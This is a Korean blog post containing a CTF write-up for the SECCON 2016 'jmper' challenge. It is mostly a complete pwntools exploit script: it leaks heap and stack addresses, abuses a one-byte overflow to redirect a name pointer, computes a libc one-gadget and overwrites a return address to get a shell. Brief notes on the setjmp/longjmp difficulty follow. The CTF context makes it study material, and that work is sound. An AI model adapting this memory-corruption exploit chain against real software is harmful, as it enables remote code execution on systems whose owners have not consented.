ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SECCON CTF 2016 - jmper
    CTF 2016. 12. 11. 16:44

    jmper 문제는  setjmp, longjmp에서 트리거를 하는건데, rsp를 릭했을경우 리턴되는 스택주소를 예측가능해 덮어줄 수 있는 문제이다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    from pwn import *
     
    #p = remote("10.211.55.3",9910)
    = remote("jmper.pwn.seccon.jp",5656)
     
    def add():
        print p.recvuntil(":)")
        p.sendline("1")
     
    def name(idx,name):
        print p.recvuntil(":)")
        p.sendline("2")
        print p.recvuntil("ID:")
        p.sendline(str(idx))
        print p.recvuntil("name:")
        p.sendline(name)
     
    def write(idx,data):
        print p.recvuntil(":)")
        p.sendline("3")
        print p.recvuntil("ID:")
        p.sendline(str(idx))
        print p.recvuntil("memo:")
        p.sendline(data)
     
    def showname(idx):
        print p.recvuntil(":)")
        p.sendline("4")
        print p.recvuntil("ID:")
        p.sendline(str(idx))
     
    def showmemo(idx):
        print p.recvuntil(":)")
        p.sendline("5")
        print p.recvuntil("ID:")
        p.sendline(str(idx))
     
     
     
    raw_input()
    add()
    write(0,"A"*32)
    name(0,"A"*16)
    showmemo(0)
    #heap leak
     
    print p.recvuntil("A"*32)
    heap_leak = u32(p.recv(4))
    print hex(heap_leak)
     
    # add()
    # write(1,"A"*32 + "\x70")
    # name(1,"A"*8 + p32(0x601FF0))
     
    add()
    write(1,"A"*32 + "\x70")
    name(1,"A"*8 + p32(heap_leak-0x100+8))
    # name(1,p32(0x400730) + "AAAA")
     
    showname(1)
     
    stack = u64(p.recv(12).ljust(8,"\x00"))
     
     
     
     
    add()
    write(2,"A"*32+"\x50")
     
    add()
    write(3,"A"*32)
     
    name(2,"A"*8 +"\x50")
    name(2,"A"*8 + p32(0x601FF0))
     
    showname(3)
    exit_leak =  u64(p.recv(12).ljust(8,"\x00"))
    libc_base = exit_leak-0x3C1E0
    one_shot = libc_base + 0x46428
     
    log.info("stack: " + hex(stack))
    log.info("oneshot: " + hex(one_shot))
     
     
     
    add()
    write(4,"D"*32 +'\xc0')
    name(4,"A"*8 + p64(stack-0xd8))
     
    add()
    name(4,p64(one_shot)*2)
     
    for i in range(0,25):
        add()
     
     
    p.interactive()
    cs



    요즘 무슨 다힙임 

    익스봐도 알듯 


    딱히 어렵지않음 name ptr 변조해서 연계하고 원샷으로 리턴덮으면 끝나는문제.


    마지막에 setjmp랑 longjmp에서 좀 힘들었다.


    jmpbuf로 원샷 넣어서하는 사람도 많았겠지만 이 방법으로 풀었당.


    요즘 다 힙인데 힙공부나 해야겠다 ~ ~ ~


    jmper



    * 처음에 name ptr이 1바이트밖에 덮히지않는다. 이것을 다 덮을수있도록 이전 8바이트의 주소, 즉 1바이트만 수정하면되니까 이런식으로 수정해가며 연계하면 된다.

    'CTF' 카테고리의 다른 글

    HolyShield 2016 PPC  (0) 2016.12.20
    SECCON CTF 2016 - chat  (0) 2016.12.13
    [BCTF 2016] Memo  (0) 2016.11.28
    Plaid CTF 2014 ezhp  (1) 2016.11.28
    [Belluminar 2016] remuheap  (2) 2016.11.27

    댓글

Designed by Tistory.